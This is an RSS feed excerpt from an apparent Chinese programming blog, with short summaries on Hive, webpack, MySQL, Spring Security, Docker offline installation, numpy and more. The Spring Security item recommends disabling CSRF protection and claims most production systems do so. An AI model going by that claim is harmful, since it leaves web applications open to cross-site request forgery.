      <description>一、数据导入 1．语法 hive&amp;gt; load data [local] inpath &#39;/opt/module/datas/student.txt&#39; overwrite | into table student [partition (partcol1=val1,…)]; （1）load data:表示加载数据 （2）local:表示从本地加载数据到hive表；否则从HDFS加载数据到hive表 （3）inpath:表示加载数据的路径 （4）overwrite:表示覆盖表中已有数据，否则表示追加 （5）into table:表示加载到哪张表 （6）student:表示具体的表 （7）partition:表示上传到指定分区 2、实操案例 2.1 创建一张表 hive (default)&amp;gt; create table student(id string, name string) row format delimited fields terminated by ‘\t’;&#xA;2.2 加载本地文件到hive hive (default)&amp;gt; load data local inpath ‘/opt/module/datas/student.txt’ into table default.student;&#xA;2.3 加载HDFS文件到hive中 上传文件到HDFS hive (default)&amp;gt; dfs -put /opt/module/datas/student.txt /user/root/hive;&#xA;加载HDFS上数据&#xA;hive (default)&amp;gt; load data inpath ‘/user//hive/student.</description>
    </item>
    <item>
      <title>Potplayer播放器安装后总是遇到BUG</title>
      <link>https://bchobby.github.io/posts/8d71aa66ef9f3895cf3eab7a2665f1ab/</link>
      <pubDate>Tue, 19 May 2020 19:26:34 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/8d71aa66ef9f3895cf3eab7a2665f1ab/</guid>
      <description>Potplayer装了好多次，总是会遇到下面这个BUG，有些视频打开无声音体验感很不爽。&#xA;“当前音频无法播放，directX驱动没有安装或者音频设备被禁用，某些设备需要耳机扬声器链接音频设备输出。”&#xA;最终找到解决办法，到完美解码器下载神器，按照提示一路安装即可解决问题。</description>
    </item>
    <item>
      <title>设计模式的应用场景(19)--访问者模式</title>
      <link>https://bchobby.github.io/posts/424e57bb5302a673945fb8171e0a7712/</link>
      <pubDate>Tue, 19 May 2020 18:34:41 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/424e57bb5302a673945fb8171e0a7712/</guid>
      <description>访问者模式 定义：封装一些施加于某种数据结构上的操作，一旦这些操作需要改变的话，接受这个操作的数据结构可以保持不变。&#xA;优点：使用访问者模式，对于原来的类层次增加新的操作只需要实现一个具体访问者角色，而不必改变整个类层次。每个具体的访问者角色都对应于一个相关操作。&#xA;缺点：不适合具体元素角色经常发生变化的情况。每增加一个元素类都需要修改访问者类（也包括访问者类的子类或者实现类），修改起来相当麻烦。也就是说，在元素类数目不确定的情况下，应该慎用访问者模式。&#xA;使用场合：当一个对象结构包括很多类对象，它们有不同的接口，而系统要求这些对象实施一些依赖于某具体类的操作时，就可以使用访问者模式。&#xA;小巩要设计超市收银系统，碰到了困难，有的按重量计价，有的按物件计价，还有其他计价方式。&#xA;这时候可以使用访问者模式。&#xA;首先设计抽象元素类，提供访问者需要的accept方法&#xA;public interface Goods { double accept(Visitor visitor); } 具体元素类，包括猪肉类，，酒类，电视机类&#xA;public class Pig implements Goods { public double accountByUnit() { System.out.println(&#34;猪肉按斤计价,购买的数量为：&#34; + getCount() + &#34;斤，购买的单价为：&#34; + getPrice() + &#34;，总价为：&#34; + getCount() * getPrice()); return getCount() * getPrice(); } public double accept(Visitor visitor) { return visitor.visit(this); } public float getCount(){ return count; } public void setCount(float count){ this.count = count; } public float getPrice(){ return price; } public void setPrice(float price){ this.</description>
    </item>
    <item>
      <title>webpack学习</title>
      <link>https://bchobby.github.io/posts/487480b9fb4d3b964c35862bc07f4cec/</link>
      <pubDate>Tue, 19 May 2020 17:49:03 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/487480b9fb4d3b964c35862bc07f4cec/</guid>
      <description>一、webpack从入门到真实项目配置 1、按照教程操作时，遇到了一些报错情况，基本都是版本问题导致的。&#xA;2、package.json的&#34;scripts&#34;中可以配置一些常用的操作。&#xA;3、Babel 可以让你使用 ES2015/16/17 写代码而不用顾忌浏览器的问题，Babel 可以帮你转换代码。配置 Babel 推荐使用 .babelrc 文件管理。&#xA;babel-loader 用于让 webpack 知道如何运行 babel；babel-core可以看做编译器，这个库知道如何解析代码；babel-preset-env 这个库可以根据环境的不同转换代码； 4、webpack-config.js&#xA;1）module-&amp;gt;rules：test做匹配、use配置使用的loader和一些参数、exclude是不包括的路径&#xA;2）module.exports = {&#xA;entry: {&#xA;// bundle 和 vendor 都是自己随便取名的，会映射到 [name] 中&#xA;bundle: 自己的代码,&#xA;vendor: 依赖库的代码&#xA;}, // 入口文件&#xA;output: {&#xA;path: path.resolve(__dirname, ‘build’), // 必须使用绝对地址，输出文件夹&#xA;filename: ‘[name].[chunkhash].js’, // 打包后输出文件的文件名，使用哈希来保证缓存&#xA;publicPath: ‘build/’ // 知道如何寻找资源（例如处理后的大图片）&#xA;}&#xA;}&#xA;5、处理图片：url-loader 和 file-loader&#xA;6、处理CSS：css-loader（可以让 CSS 文件也支持 impost，并且会解析 CSS 文件） 和 style-loader（可以将解析出来的 CSS 通过标签的形式插入到 HTML 中，依赖前者。），可以在options中配置是否开启CSS 模块化，这时候CSS整合到JS中，会造成 JS 文件的大小变大，操作 DOM 也会造成性能上的问题。</description>
    </item>
    <item>
      <title>位、字、字节的区别</title>
      <link>https://bchobby.github.io/posts/4578bb19a8d0608b1a7f067a9410b568/</link>
      <pubDate>Tue, 19 May 2020 10:55:27 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/4578bb19a8d0608b1a7f067a9410b568/</guid>
      <description>1.位和字节的关系：&#xA;位：bit （“比特”）&#xA;字节：Byte （“拜特”）&#xA;1 Byte = 8 bit&#xA;计算机内存中，最小的存储单位是“位（bit）”，8个“位”构成一个“字节（byte），字节是内存的基本单位，也是编址单位。&#xA;例：某计算机的内存是2GB，指的就是该计算机的内存中共有2×1024×1024×1024个字节。&#xA;2.字，字长和字节的关系：&#xA;&#34;字&#34;由若干个字节构成，字的位数叫做字长。（这个位数就是01代码的位数）&#xA;区别：例如一台8位（bit）机，它的1个字就等于1个字节，字长为8位。如果是一台16位（bit）机，那么，它的1个字就由2个字节构成，字长为16位。</description>
    </item>
    <item>
      <title>mysql数据库底层原理</title>
      <link>https://bchobby.github.io/posts/3c00210ecb7a3511173a7ab874586936/</link>
      <pubDate>Mon, 18 May 2020 21:47:19 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/3c00210ecb7a3511173a7ab874586936/</guid>
      <description>一、MySQL 的基本定义： A．术语介绍&#xA;1. 数据库（Database）&#xA;是按照数据结构来组织、存储和管理数据的仓库。 每个数据库都有一个或多个不同的API用于创建、访问、管理、搜索和复制所保存的数据。 2. RDBMS（Relational Database Management System）&#xA;关系数据库管理系统，由瑞典MySQL AB公司开发，目前属于Oracle公司。 是建立在关系模型基础上的数据库，借助于集合代数等数学概念和方法来处理数据库中的数据。 特点：&#xA;数据以表格的形式出现。 每行为各种记录名称。 每列为记录名称所对应的数据域。 许多的行和列组成一张表单。 若干的表单组成Database。 RDBMS术语：&#xA;数据库： 数据库是一些关联表的集合。 数据表： 表示数据的矩阵。 列： 一列（数据元素）包含了相同类型的数据。 行： 一行是一组相关的数据。 冗余： 存储两倍数据，冗余降低了性能，但提高了数据的安全性。 主键： 主键是唯一的，一个数据表中只能包含一个主键。 外键： 外键用于关联两个表。 复合键： 复合键（组合键）将多个列作为一个索引键，一般用于复合索引。 索引： 使用索引可快速访问数据库表中的特定信息，索引是对数据库表中一列或多列的值进行排序的一种结构。 参照完整性： 参照完整性要求关系中不允许引用不存在的实体，与实体完整性是关系模型必须满足的完整性约束条件，目的是保证数据的一致性。 B．MySQL常用命令&#xA;1. 管理MySQL的命令&#xA;MySQL的用户设置，只需要在MySQL数据库中的user表中添加新用户即可。（use mysql; insert into user() values()）。 USE 数据库名 ：选择要操作的MySQL数据库，使用该命令后所有MySQL命令都只针对该数据库。 SHOW DATABASES ：列出MySQL数据库管理系统的数据库列表。 SHOW TABLES ：显示指定数据库的所有表，使用该命令前需要使用use命令来选择要操作的数据库。 SHOW COLUMNS FROM 数据表名 ：显示数据表的属性，属性类型，主键信息，是否NULL，默认值等其它信息。 SHOW INDEX FROM 数据表名 ： 显示数据表的详细索引信息，包括 PRIMARY KEY（主键）。 SHOW TABLE STATUS FROM 数据库名 LIKE ‘pattern’\G ：该命令输出MySQL数据库管理系统的性能及统计信息。 2.</description>
    </item>
    <item>
      <title>关于CAN总线的位时间/同步段/传播时间段/相位缓冲段/采样点</title>
      <link>https://bchobby.github.io/posts/a6ee13912ea6ccb3257de942287d9a24/</link>
      <pubDate>Mon, 18 May 2020 21:00:36 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/a6ee13912ea6ccb3257de942287d9a24/</guid>
      <description>根据 CAN 规范的要求，总线上的所有器件都必须使用相同的比特率才能完成通信。然而，并非所有器件都要求具有相同的主振荡器时钟频率。所以，CAN 总线能够在一定的范围内容忍总线上 CAN 节点的通信波特率的偏差，这种机能使得 CAN 总线有很强的容错性，同时也降低了对每个节点的振荡器精度。所以，实际上，CAN 总线的波特率是一个范围。举个例子，假设定义的波特率是 250KB/s，但是实际上根据对寄存器的设置，实际的波特率可能为 200-300KB/s（具体值取决于寄存器的设置）。&#xA;首先了解一下 CAN 总线系统中的两个时钟：晶振时钟周期和CAN时钟周期：&#xA;晶振时钟周期：是由单片机振荡器的晶振频率决定的，指的是振荡器每震荡一次所消耗的时间长度，也是整个系统中最小的时间单位；CAN时钟周期：CAN时钟是由系统时钟分频而来的一个时间长度值，实际上就是一个时间份额TQ。计算公式：CAN时钟周期 = 2 × 晶振时钟周期 × BRP，其中BRP叫做波特率预分频值（baudrate prescaler）； 如上图所述，根据CAN规范，每一个CAN位时间 （Nominal Bit Time，NBT）被分成4个时间段：同步段（Sync_Seg）、传播时间段（Prop_Seg）、相位缓冲段1（Phase_Seg1）和相位缓冲段2（Phase_Seg2），如下图所示：&#xA;而采样点则设计在相位缓冲段1和相位缓冲段2之间。如下图所示：&#xA;如果用公式来表示，就是：&#xA;上述每个段又由若干个时间份额（time quanta，TQ）组成，时间份额 TQ 是位时间的基本时间单元，下面详细解释一下：&#xA;1、同步段（Synchronization Segment）&#xA;同步段（SyncSeg）为 NBT 中的首段，用于同步CAN总线上的各个节点。输入信号的跳变沿就发生在同步段，该段持续时间为 1 TQ。同步段用于同步总线上的各个节点，一个位的跳边沿在此时间段内。&#xA;2、传播段（Propagation Segment）&#xA;传播段（PropSeg）用于补偿各节点之间的物理传输延迟时间。传输延迟时间为信号在总线上传播时间的两倍，包括总线驱动器延迟时间。传播段的长度一般有一个取值范围，不同的控制器不完全一致，典型值为 1 – 8 TQ。&#xA;3、相位缓冲段（Phase Buffer Segment1）&#xA;相位缓冲段用于补偿节点间的晶振误差，又分为相位缓冲段1（PS1）和相位缓冲段2（PS2），在这个时间段的末端进行总线状态的采样。两个相位缓冲段PS1和PS2用于补偿总线上的边沿相位误差。通过再同步，可以延长 PS1（或缩短PS2）。&#xA;同理，不同的控制器，PS1/PS2 的取值范围不完全一致，一般 PS1 为 1 – 8 TQ，PS2 为 2 – 8 TQ。&#xA;4、采样点&#xA;采样点是位时间内的一个时间点。在该时间点，读取总线电平并进行分析。采样点位于相位缓冲段 PS1 的终点。但当采样模式设置为每位采样 3 次时例外。这种情况下，在 PS1 的终点仍然对某一位进行采样时，前两次的采样时间间隔为 TQ / 2，而该位的值将根据三个采样值中至少两次采样的相同值决定。</description>
    </item>
    <item>
      <title>jmeter教程系列（6）--CSV 数据文件设置</title>
      <link>https://bchobby.github.io/posts/95d3d182232107c132e51a491af818d3/</link>
      <pubDate>Mon, 18 May 2020 17:53:48 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/95d3d182232107c132e51a491af818d3/</guid>
      <description>jmeter教程系列–CSV 数据文件设置 (1)创建csv格式的测试数据文件(编码格式为UTF-8）&#xA;(2)选择要读取的csv格式的文件&#xA;(3)设置文件的编码UTF-8(csv文件进行保存操作时设置的文件编码相同)&#xA;(4)设置文件需要读取的参数&#xA;(5)设置文件读取内容的策略&#xA;(6)引用读取到的变量名称使用${username} ${password}&#xA;变量引用及结果展示：&#xA;引用变量使用${变量名}&#xA;csv文件架构：&#xA;测试结果截图：&#xA;（1）CSV文件格式编码必须为UTF-8&#xA;（2）CSV文件对正版的OFFICE有效，对于WPS中创建的CSV文件无效&#xA;（3）每次修改数据后都要进行另存为操作，覆盖原来的csv格式的文件&#xA;（4）变量的引用使用${变量名}&#xA;（5）读取文件的时候进行忽略首行数据操作，在CSV组件中可以进行设置</description>
    </item>
    <item>
      <title>ASP.NET 几种常用的页面传值的方式</title>
      <link>https://bchobby.github.io/posts/c9e94ff5acad44ae0053bc021466738d/</link>
      <pubDate>Mon, 18 May 2020 17:23:18 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/c9e94ff5acad44ae0053bc021466738d/</guid>
      <description>1.Session&#xA;维护会话数据,会话就是给定用户与Web应用程序之间的交互。会话由HttpSessionState对象表示。为了维护一个特定用户的状态信息。可以使用&#xA;Controller类或者Global.asax中的Session属性&#xA;经典案例:在线购物车是必须按照用户去维护数据。&#xA;如果10个人全部登录到一个在线商场,每个个体都将有一组她(他)想要购买的项并且这个数据需要维护。&#xA;当新的用户登录到Web应用程序时,.NET运行库将自动给这个用户分配一个唯一的会话ID,用来识别这个用户。每个会话ID被分配一个自定义的HttpSessionState类型实例,以保存该用户的数据。&#xA;格式:&#xA;Session[“Name”]=“Value(Or Object)”;&#xA;在后台Controller控制器中使用:&#xA;HomeController.cs&#xA;public ActionResult Index() { //添加session /* Session 个人对话:存放在服务器端的状态,所有的视图中都保存某个数据, 服务器端对象,默认生命周期为20分钟 信息保存在服务器端,相对比较安全 */ Session[&#34;user&#34;] = new UserModel() { Id=15000, UserName = &#34;jack&#34;,PassWord=&#34;jiao7060158&#34;,Address=&#34;XuZhou&#34;}; string sessionId = Session.SessionID; //Session.Remove(&#34;user&#34;);//移除指定name的session //Session.Abandon();//取消当前的session //Session.Clear();//清除所有的session //真正部署时ISS和配置文件中都需要配置 Session.Timeout = 30;//设置session的失效时间,以分钟为单位 return View(); } Index()动作方法对应的View视图Index.cshtml:&#xA;在该视图中,实现点击产品首页链接,进行跳转,&#xA;在Product页面接收传递的参数&#xA;@{ Layout = null; } &amp;lt;!DOCTYPE html&amp;gt; &amp;lt;html&amp;gt; &amp;lt;head&amp;gt; &amp;lt;meta name=&#34;viewport&#34; content=&#34;width=device-width&#34; /&amp;gt; &amp;lt;title&amp;gt;首页&amp;lt;/title&amp;gt; &amp;lt;/head&amp;gt; &amp;lt;body&amp;gt; &amp;lt;div&amp;gt; &amp;lt;a href=&#34;https://bchobby.github.io/Product/Index&#34; target=&#34;_blank&#34;&amp;gt;产品首页&amp;lt;/a&amp;gt; &amp;lt;/div&amp;gt; &amp;lt;/body&amp;gt; &amp;lt;/html&amp;gt; ProductController.</description>
    </item>
    <item>
      <title>jmeter教程系列（4）--响应断言</title>
      <link>https://bchobby.github.io/posts/64d8fe41ff297dc80daefb95e7ddcbcc/</link>
      <pubDate>Mon, 18 May 2020 16:28:26 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/64d8fe41ff297dc80daefb95e7ddcbcc/</guid>
      <description>jmeter教程系列–响应断言 响应断言整理介绍：&#xA;（1）设置断言字段（响应文本，响应代码，响应信息，请求消息头(resquest Headers)，响应数据头(response Headers)）&#xA;（2）设置断言的匹配规则&#xA;（3）要测试的模式上添加要断言的内容（要断言的数据不允许有空格）&#xA;断言匹配规则介绍：&#xA;（1）包括：包括你指定的内容，支持正则匹配　支持对正则表达式提取器引用名称做判断&#xA;（2）匹配：响应内容要完全匹配内容，不区分大小写&#xA;（3）equals：完全相等，区分大小写&#xA;（4）substring：响应内容包括匹配内容即可&#xA;jmeter脚本示意图：&#xA;断言结果显示：</description>
    </item>
    <item>
      <title>SpringBootSecurity（三）网页版登录添加自定义登录页面</title>
      <link>https://bchobby.github.io/posts/a2904ba7fbedd8596e087186cea9dceb/</link>
      <pubDate>Mon, 18 May 2020 11:33:57 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/a2904ba7fbedd8596e087186cea9dceb/</guid>
      <description>自定义登录页面 前面无论是使用默认配置，还是自定义配置类，都是使用的springboot-security自带的登录页面，自带的登录页面在这个版本虽然设计的非常不错，但是在实际开发中，我们通常还是使用自己的登录页面。下面来写一个非常简单的登录页面：&#xA;这个页面只有填写用户名和密码的地方，然后就是一个form表单提交，没有任何其他内容。特别注意！！这里页面虽然引入了thymeleaf模板，但是没有使用thymeleaf的任何标签属性，使用的是原生的html标签。继续下面，然后是定义登录页面的路径：&#xA;这样登录页面就添加完成了。&#xA;修改配置类 在配置类中添加自定义登录页面很简单，定义登录页面链接即可：&#xA;配置完成后，启动项目，访问登录页面，可以看到这样一个错误：&#xA;显示重定向次数过多。原来前面我们授权配置的时候，所有自定义的路径在未登录的情况下，都会重定向到登录页面，现在登录路径也是自定义的，所以它一直在自我重定向。登录路径本身要配置成不需要授权就能访问的路径才合理。配置方式很简单，只需要加上一个 permitAll 方法即可：&#xA;现在重启项目，访问登录可以正常访问，输入账号也可以正常访问了！&#xA;csrf配置 上面的页面和配置类修改好了以后，输入账号登录，却发现登录一直不成功，总是会跳转到登录页面。这是什么原因呢？上面的提到了页面使用的是原生的html标签，没有使用thymeleaf模板的属性。先说这种原生的情况，之所以登录不成功，原因是Spring Security默认是开启CSRF的，所以需要请求中包含CSRF的token信息，在其官方文档中，提供了在form中嵌入一个hidden标签来获取token信息，其原理是，hidden标签使用了Spring Security提供的标签，即${_csrf.parameterName}、${_csrf.token}， 后台页面渲染过程中，将此标签解所对应的值解析出来，这样，我们的form表单，就嵌入了Spring Security的所需的token信息，在后续的提交登录请求时，就不会出现没有CSRF token的异常。做法如下：&#xA;这时候登录，就发现可以成功。在springboot2.1.x版本下，还有第二种更好的解决方案，就是使用thymeleaf模板的form标签属性：&#xA;在form标签中，使用th:action属性，这样会在表单中默认添加一个hidden的input标签，效果和第一种解决方式类似，查看源码，就可以看到：&#xA;另外，还有一个解决办法是，通过关闭CSRF来解决，这个几乎在任何场景中都能解决这个问题（上面这个解决方案，可能在某些渲染模板不能解析出来token值，不过可以通过后台程序来获取token值，然后自己定义变量来渲染到form中，这个也是可以的）。具体的做法是通过修改配置文件来关闭，我这里使用的是SpringBoot开发的项目，配置文件直接写在配置类中，通过.csrf().disable()来关闭。不过这种方案，会迎来CSRF攻击，不建议在生产环境中使用，如果系统对外界做了隔离，这样做也是可以的。大部分的生产环境采用的也多是这种方案。&#xA;上面三种解决方案都可以解决登录不成功的问题。&#xA;配置登录成功后的默认页面 现在security登录成功后默认会跳转到一个路径，这个路径就是登录链接去掉后面的/login，这个默认跳转也是可以配置的：&#xA;然后再把默认页面改为/home路径：&#xA;现在我们登录成功，跳转的就是/home：&#xA;配置登出 除了登录，security还有自带的登出，即退出系统功能，默认路径就是/logout。我们可以在home页面中加一个登出操作：&#xA;退出后，默认进入的自然是登录页面，但是浏览器路径上面，要显示出刚才是退出系统了。所以应该显示的路径是/login?logout，但是由于这个路径没有授权，会再次跳转到登录页面，显示的也就还是/login，所以我们对登出也要进行授权：&#xA;现在显示的就是正常的退出后的路径：&#xA;代码地址 ： https://gitee.com/blueses/spring-boot-security 03</description>
    </item>
    <item>
      <title>Recoil - Facebook 官方 React 状态管理器</title>
      <link>https://bchobby.github.io/posts/3654f1a17492fa12923fe51939bf1694/</link>
      <pubDate>Mon, 18 May 2020 08:36:39 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/3654f1a17492fa12923fe51939bf1694/</guid>
      <description>说到状态管理器，轮子满天飞。在 Class 时代，redux 与 mobx 几乎占据了全部市场，几乎没有没用过 redux 的同学。随着 Hooks 的诞生，新的一批轮子应运而生，其中有代表性的有 unstated-next、constate 等等。&#xA;当然无论什么轮子，要解决的问题都是一样的：跨组件状态共享。在解决这个核心问题的同时，需要尽可能的满足以下几个特性：&#xA;TypeScript 支持&#xA;友好的异步支持&#xA;支持状态互相依赖&#xA;同时支持 Class 与 Hooks 组件&#xA;使用简单&#xA;Recoil 体验 最近，facebook 官方出了一个状态管理器解决方案 Recoil[1]，我们来体验一下。&#xA;准备工作 使用 Recoil，我们需要在项目最外层包一个 RecoilRoot ，这个和大部分状态管理器一致，通过 context 来跨组件传递数据。&#xA;import React from &#39;react&#39;; import { RecoilRoot } from &#39;recoil&#39;; function App() { return ( &amp;lt;RecoilRoot&amp;gt; ... &amp;lt;/RecoilRoot&amp;gt; ); } 跨组件状态共享 状态最简单的就是定义和使用。在 Recoil 中，通过 atom 来定义一个状态。&#xA;const inputValueState = atom({ key: &#34;inputValue&#34;, default: &#34;&#34; }); 如上面的代码所示，我们定义了一个 inputValue 状态，它的默认值是空字符串。</description>
    </item>
    <item>
      <title>springCloud技术总结分享</title>
      <link>https://bchobby.github.io/posts/c29708b67c6f1dbb01c4b1245cb1f168/</link>
      <pubDate>Sun, 17 May 2020 23:10:30 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/c29708b67c6f1dbb01c4b1245cb1f168/</guid>
      <description>文章目录 1.简介2 项目搭建2.1 Commons2.1.1 pojo2.1.2 service2.1.3 util 2.2 item service 商品服务2.3 user service 用户服务2.4 order service 订单服务2.5 测试 3. eureka 注册与发现3.1 实例操作3.1.1 eureka 注册与发现3.1.2 service provider 服务提供者 4.ribbon4.1 项目搭建4.2 eureka 和 “服务提供者”的高可用4.3 ribbon 负载均衡4.4 ribbon 重试 5 hystrix 断路器5.1 原理简介5.2 实例操作5.3 hystrix dashboard 断路器仪表盘 6.feignfeign + ribbon 负载均衡和重试feign + hystrix 降级feign + hystrix 监控和熔断测试order service 调用商品库存服务和用户服务hystrix + turbine 集群聚合监控 7. zuul API网关zuul 路由实例操作zuul 过滤实例操作 8. config 配置中心config创建项目应用 9. Spring Cloud Busconfig bus + rabbitmq 消息总线配置刷新config 本地文系统 10.</description>
    </item>
    <item>
      <title>windows 启动jupyter 提示 cannot import name AsyncGenerator</title>
      <link>https://bchobby.github.io/posts/93eb745d5319089869c641e25b5421bb/</link>
      <pubDate>Sun, 17 May 2020 23:03:59 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/93eb745d5319089869c641e25b5421bb/</guid>
      <description>当输入jupyter notebook 后是可以正常启动本地服务，但进入jupyter的页面后，就会显示连接不上服务器，在控制窗口上显示异常提示 cannot import name ‘AsyncGenerator’&#xA;原因是prompt_toolkit这依赖的版本不匹配（我这使用的python 3.6）&#xA;解决办法就是降低版本&#xA;pip install --upgrade prompt-toolkit==2.0.1&#xA;安装成功后，执行&#xA;python -m ipykernel --version&#xA;如果有版本号，那问题就解决了，jupyter可以正常使用</description>
    </item>
    <item>
      <title>计算机组成原理运算器设计实验之8位可控加减法电路设计</title>
      <link>https://bchobby.github.io/posts/d3ba3e98791fd07d1c54daff274aff08/</link>
      <pubDate>Sun, 17 May 2020 22:29:02 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/d3ba3e98791fd07d1c54daff274aff08/</guid>
      <description>这个实验的本意是用一位全加器和逻辑门搭建电路。用全加器和异或门也可以完成。这里涉及两个“异或”的知识点：&#xA;1.位变量a和0异或，结果为a；和1异或，结果为~a（取反）&#xA;2.溢出标志可以用最高位（符号位）进位和次高位进位异或得到。即这两个进位相同则不溢出，否则溢出。&#xA;步骤1&#xA;步骤2：可以通过复制拖拽得到如下图&#xA;步骤3，连线如图&#xA;步骤4，保存并复制保存代码&#xA;步骤5将复制的代码粘贴到Educoder实验的代码框。</description>
    </item>
    <item>
      <title>Docker 离线安装</title>
      <link>https://bchobby.github.io/posts/488fcfbfd7eb40527830bb8b14313931/</link>
      <pubDate>Sun, 17 May 2020 18:46:03 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/488fcfbfd7eb40527830bb8b14313931/</guid>
      <description>说明&#xA;使用虚拟机真实模仿离线环境&#xA;虚拟机系统为 CentOS 7.5.1804（kernel-3.10.0-862.el7.x86_64）&#xA;本文使用 tgz 文件 离线安装 Docker&#xA;提示&#xA;如果使用非root用户安装docker，则需要先将该用户加入docker用户组。&#xA;创建 docker 用户组 sudo groupadd docker将用户添加到 docker用户组 sudo usermod -aG docker $USER刷新用户组的变更 newgrp docker执行 groups 命令查看当前用户所在用户组，有 docker 则表示加入成功。 安装步骤 下载 Docker 二进制文件（离线安装包）：下载地址&#xA;本文使用 /x86_64/docker-17.12.1-ce.tgz，注意对应操作系统类型。通过 FTP工具将 docker-17.12.1-ce.tgz 上传到服务器上解压安装包&#xA;tar zxf docker-17.12.1-ce.tgz将docker 相关命令拷贝到 /usr/bin，方便直接运行命令&#xA;sudo cp docker/* /usr/bin/启动Docker守护程序&#xA;sudo dockerd &amp;amp;验证是否安装成功，执行docker info命令，若正常打印版本信息则安装成功。报错则参考docker环境问题清单进行排查。 另外：可通过运行hello-world镜像进行验证&#xA;事先准备好 hello-world 镜像 tar 文件并上传到服务器上（下载链接）通过 docker load -i {tar文件名} 加载镜像执行 docker run hello-world 拉起容器，通过日志判断容器是否成功运行。 如何停止 docker 服务？ 方式一：根据进程号(pid)停止docker服务</description>
    </item>
    <item>
      <title>c#图片上传和文件上传Api接口</title>
      <link>https://bchobby.github.io/posts/c4a4a47e5eec5ebfcc55897b32b1bb25/</link>
      <pubDate>Sun, 17 May 2020 17:53:59 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/c4a4a47e5eec5ebfcc55897b32b1bb25/</guid>
      <description>1.图片上传 Random rd = new Random(); #region 图片上传 /// &amp;lt;summary&amp;gt; /// 图片上传 /// &amp;lt;/summary&amp;gt; /// &amp;lt;param name=&#34;type&#34;&amp;gt;projectPhoto 项目图片 projectRecordPhoto 项目大事记图片 shot 随手拍图片 shotSafe 安全检查图片&amp;lt;/param&amp;gt; /// &amp;lt;returns&amp;gt;&amp;lt;/returns&amp;gt; [HttpPost] [Route(&#34;UploadPhoto&#34;)] [Description(&#34;图片上传&#34;)] public async Task&amp;lt;HttpResponseMessage&amp;gt; UploadPhoto(string type = &#34;&#34;) { try { string guid = Guid.NewGuid().ToString(); ; if (!Request.Content.IsMimeMultipartContent()) { throw new HttpResponseException(HttpStatusCode.UnsupportedMediaType); } string root = &#34;/Upload/&#34; + type; string uploadFolderPath = HostingEnvironment.MapPath(root); string path = uploadFolderPath + guid; //如果路径不存在，创建路径 if (!</description>
    </item>
    <item>
      <title>cox计算C-index及两模型进行C-index的比较，survcomp的安装及使用</title>
      <link>https://bchobby.github.io/posts/7fabb56838de8a434808669db52dc1af/</link>
      <pubDate>Sun, 17 May 2020 16:42:34 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/7fabb56838de8a434808669db52dc1af/</guid>
      <description>计算COX模型的C-index 两个COX模型的比较 PART1 计算COX的C-index&#xA;方法1：基于cox直接生成系数以及计算的C-index值&#xA;library(&#34;survminer&#34;) library(&#34;survival&#34;) ######### 生成COX模型 cox_model &amp;lt;- coxph() # 直接查看coxph summary(cox_model) # call之后： Concordance= *** (se = *** ) 即是C-index # 查看cindex - concordance # 可以看出这种方法输出了C指数，也输出了标准误，那么95%可信区间就可以通过加减1.96*se得到。 # 生成cox回归模型的系数以及95%置信区间，查看AIC library(tableone) ShowRegTable(data) ShowRegTable(data, digits = 3) AIC(data) summary(data) #可直接查看C-index以及se tip：通过relevel或者level函数中，设置label的顺序，可以选择参照组，即排名第一个即为参照组。&#xA;方法2：基于rms包的rcorr.cens()直接生成C-index，&#xA;但是做下来好像C-index偏低？不知道为什么&#xA;library(rms) CstatisticCI &amp;lt;- function(x) { se &amp;lt;- x[&#34;S.D.&#34;]/sqrt(x[&#34;n&#34;]) Low95 &amp;lt;- x[&#34;C Index&#34;] - 1.96*se Upper95 &amp;lt;- x[&#34;C Index&#34;] + 1.96*se cbind(x[&#34;C Index&#34;], Low95, Upper95) } cindex &amp;lt;- rcorr.</description>
    </item>
    <item>
      <title>numpy.loadtxt()</title>
      <link>https://bchobby.github.io/posts/1b1683981bf006fb42b1365469a38f0a/</link>
      <pubDate>Sun, 17 May 2020 16:37:12 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/1b1683981bf006fb42b1365469a38f0a/</guid>
      <description>简介 np.loadtxt()用于从文本加载数据。&#xA;文本文件中的每一行必须含有相同的数据。&#xA;语法 loadtxt(fname, dtype=&amp;lt;class &#39;float&#39;&amp;gt;, comments=&#39;#&#39;, delimiter=None, converters=None, skiprows=0, usecols=None, unpack=False, ndmin=0)&#xA;fname ：要读取的文件、文件名、或生成器。&#xA;dtype ：数据类型，默认float。&#xA;comments： 注释，如果行的开头为#就会跳过该行。&#xA;delimiter ：分隔符，默认是空格。&#xA;skiprows： 跳过前几行读取，默认是0，必须是int整型。&#xA;usecols ：要读取哪些列，0是第一列。例如，usecols = （1,4,5）将提取第2，第5和第6列。会把每一列当成一个向量输出, 而不是合并在一起。默认读取所有列。&#xA;unpack：如果为True，将分列读取。&#xA;对数据进行预处理。&#xA;我们可以先定义一个函数， 这里的converters是一个字典, 表示第零列使用函数add_one来进行预处理&#xA;def add_one(x): return int(x)+1 #注意到这里使用的字符的数据结构 (a, b) = np.loadtxt(&#39;test.txt&#39;, dtype=int, skiprows=1, converters={0:add_one}, comments=&#39;#&#39;, delimiter=&#39;,&#39;, usecols=(0, 2), unpack=True) print(a, b) 输出结果为： [2 5 8] [3 6 9]&#x9;#原结果为[1 4 7][3 6 9] 问题 今天在ipython中读取文件时，&#xA;代码为：&#xA;import numpy as np x = np.</description>
    </item>
    <item>
      <title>「力扣」第 76 题：最小覆盖子串（滑动窗口例题）</title>
      <link>https://bchobby.github.io/posts/8aa3490ad0cd6cfb6cf6dd4471e70718/</link>
      <pubDate>Sun, 17 May 2020 05:54:05 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/8aa3490ad0cd6cfb6cf6dd4471e70718/</guid>
